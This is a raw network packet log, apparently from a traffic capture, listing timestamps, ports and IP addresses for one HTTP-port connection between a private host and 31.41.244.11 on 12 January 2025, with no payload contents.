Jan 12, 2025 17:39:13.388772964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.388784885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388808012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388829947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388840914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388854980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388874054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388876915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.388876915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.388876915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.388885021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.389023066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.389023066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.389422894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.389436007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.389446974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.389457941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.389470100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.389481068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.389492989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.389503956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.389508009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.389508009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.389548063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.389548063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.389729977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.389740944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.389754057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.389791012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.389801979 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.389802933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.389802933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.389815092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.389827967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.389862061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.389862061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.389862061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.390047073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.390058994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.390078068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.390088081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.390100002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.390111923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.390145063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.390145063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.390145063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.390166998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.390177011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.390193939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.390207052 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.390213013 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.390213013 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.390217066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.390228987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.390247107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.390255928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.390255928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.390255928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.390258074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.390269995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.390278101 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.390280008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.390322924 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.390322924 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.418315887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418360949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418374062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418385983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418416977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.418452024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418463945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418476105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418493986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418502092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.418502092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.418507099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418519020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418524027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.418530941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418559074 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.418572903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.418582916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418595076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418606997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418618917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418648958 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.418648958 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.418692112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418704033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418710947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.418715954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418725967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418751955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418762922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418776035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418786049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418796062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.418796062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.418796062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.418797970 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418809891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418814898 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.418858051 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.418900013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418914080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418925047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418931007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418937922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418948889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418961048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418975115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.418975115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.418977976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.418992043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419003963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419015884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419025898 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.419025898 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.419027090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419047117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.419090986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.419572115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419584036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419595957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419609070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419620991 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.419629097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419634104 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.419641972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419653893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419672012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419682980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419693947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419727087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.419727087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.419727087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.419756889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419768095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419780016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419790030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419801950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419897079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419914007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419925928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419936895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419939995 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.419939995 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.419939995 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.419955969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419967890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.419979095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.420016050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.420016050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.420016050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.474385977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.474481106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.474534035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.474553108 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.474553108 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.474565983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.474600077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.474611044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.474649906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.474673033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.474684954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.474718094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.474730015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.474730015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.474751949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.474785089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.474802017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.474836111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.474847078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.474869013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.474889040 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.474916935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.474919081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.474950075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.474966049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.474984884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475033998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475037098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475070000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475089073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475091934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475121975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475159883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475159883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475171089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475204945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475241899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475272894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475332975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475332975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475332975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475356102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475387096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475419998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475449085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475464106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475464106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475481987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475516081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475522041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475522041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475569010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475603104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475627899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475627899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475635052 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475667953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475672007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475672007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475694895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475727081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475759983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475765944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475765944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475765944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475794077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475827932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475862980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475864887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475866079 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475866079 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475898027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475935936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475935936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.475951910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.475980043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476028919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476063967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476089954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476089954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476089954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476094961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476128101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476130962 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476162910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476172924 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476172924 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476201057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476228952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476247072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476262093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476273060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476273060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476298094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476345062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476345062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476346016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476377964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476427078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476459026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476471901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476471901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476510048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476543903 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476561069 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476577044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476610899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476620913 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476620913 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476643085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476675987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476684093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476706982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476742983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476777077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.476819992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476819992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.476819992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.504566908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504587889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504599094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504611015 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504626989 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.504663944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.504672050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504683018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504693985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504713058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504724026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.504730940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504741907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504754066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504765034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504781008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.504781008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.504781961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.504820108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504831076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504851103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504889965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.504889965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.504889965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.504920006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504930973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504941940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504952908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504965067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504973888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.504975080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.504987001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505023003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.505023003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.505023003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.505032063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505043030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505053043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505064964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505075932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505086899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505099058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505119085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.505119085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.505119085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.505141020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505151987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505163908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505173922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505184889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505196095 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.505196095 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.505196095 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.505197048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505214930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505224943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505235910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505269051 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.505269051 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.505269051 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.505683899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505702972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505760908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505772114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505784035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505811930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.505811930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.505811930 CET	49975	80	192.168.2.7	31.41.244.11
